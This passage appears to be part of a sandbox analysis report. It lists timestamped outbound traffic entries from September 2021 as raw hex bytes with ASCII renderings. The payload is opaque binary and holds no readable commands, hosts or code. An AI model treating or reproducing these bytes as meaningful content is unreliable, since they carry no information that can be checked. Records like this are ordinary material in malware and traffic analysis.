6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:07 UTC	3747	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:07 UTC	3763	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:07 UTC	3779	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
2021-09-13 04:32:07 UTC	3795	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
2021-09-13 04:32:07 UTC	3811	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:07 UTC	3827	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: #RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
2021-09-13 04:32:07 UTC	3843	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:07 UTC	3859	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:07 UTC	3875	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:07 UTC	3891	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
2021-09-13 04:32:07 UTC	3907	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:07 UTC	3923	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< \|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:07 UTC	3939	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:07 UTC	3955	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: ((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:07 UTC	3971	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:07 UTC	3987	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:07 UTC	4003	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:07 UTC	4019	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: ^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:07 UTC	4034	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:07 UTC	4050	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 